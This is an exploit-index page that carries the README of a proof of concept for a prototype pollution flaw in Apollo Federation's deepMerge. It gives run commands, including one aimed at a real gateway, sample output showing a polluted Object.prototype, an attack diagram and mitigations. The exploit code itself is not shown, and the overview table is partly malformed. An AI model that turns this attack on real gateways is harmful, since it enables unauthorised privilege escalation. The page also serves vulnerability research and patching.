Sploitus

Exploit for CVE-2026-32621

githubexploit · 2026-08-03

Exploit Code

README142 lines
## https://sploitus.com/exploit?id=4F8338E0-9619-5812-893D-324A383C34D3
# CVE-2026-32621 - Apollo Federation Prototype Pollution PoC

## Overview

| Field | Value |
|-------|-------|
| **CVE** | CVE-2026-32621 |
| **CVSS** | 9.9 Critical |
| **CWE** | CWE-1321 (Prototype Pollution) |
| **Affected** | Apollo Federation | Document | Content |
>|----------|---------|
>| [USAGE.md](USAGE.md) | Detailed usage guide with step-by-step instructions |
>| [DIAGRAM.md](DIAGRAM.md) | Structure diagrams and attack flow visualization |

## Files

| File | Purpose |
>|------|---------|
>| `exploit.js` | Main exploit with 5 attack vectors + local demonstration |
>| `test_exploit.js` | Unit tests (15 tests validating pollution and patch) |
>| `e2e_test.js` | End-to-end validation (10 tests: gateway + exploit + verify) |
>| `setup_vulnerable.js` | Vulnerable gateway simulator for testing |

## Usage

### Quick Start (Local Demonstration)

```bash
# Run the local deepMerge vulnerability demonstration
node exploit.js
```

This demonstrates the exact vulnerable code path without needing a running gateway.

### Full Exploit (With Vulnerable Gateway)

```bash
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql
```

### Run Tests

```bash
# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js
```

### Exploit Against Real Apollo Gateway

```bash
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql
```

## Example Output

```
======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)
```

## Attack Chain Diagram

```
Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │
```

See [DIAGRAM.md](DIAGRAM.md) for full architecture diagrams.

## Mitigation

1. **Upgrade** to patched versions: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
2. **Input filtering**: Block GraphQL operations containing `__proto__`, `constructor`, `prototype` in field aliases and variable names
3. **Subgraph trust**: Ensure all subgraphs are from trusted sources
4. **Object.create(null)**: Use null-prototype objects where possible

## References

- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-32621)
- [GitHub Advisory GHSA-pfjj-6f4p-rvmh](https://github.com/advisories/GHSA-pfjj-6f4p-rvmh)
- [Apollo Federation Security Advisory](https://github.com/apollographql/federation/security/advisories/GHSA-pfjj-6f4p-rvmh)
- [CWE-1321](https://cwe.mitre.org/data/definitions/1321.html)

## License

MIT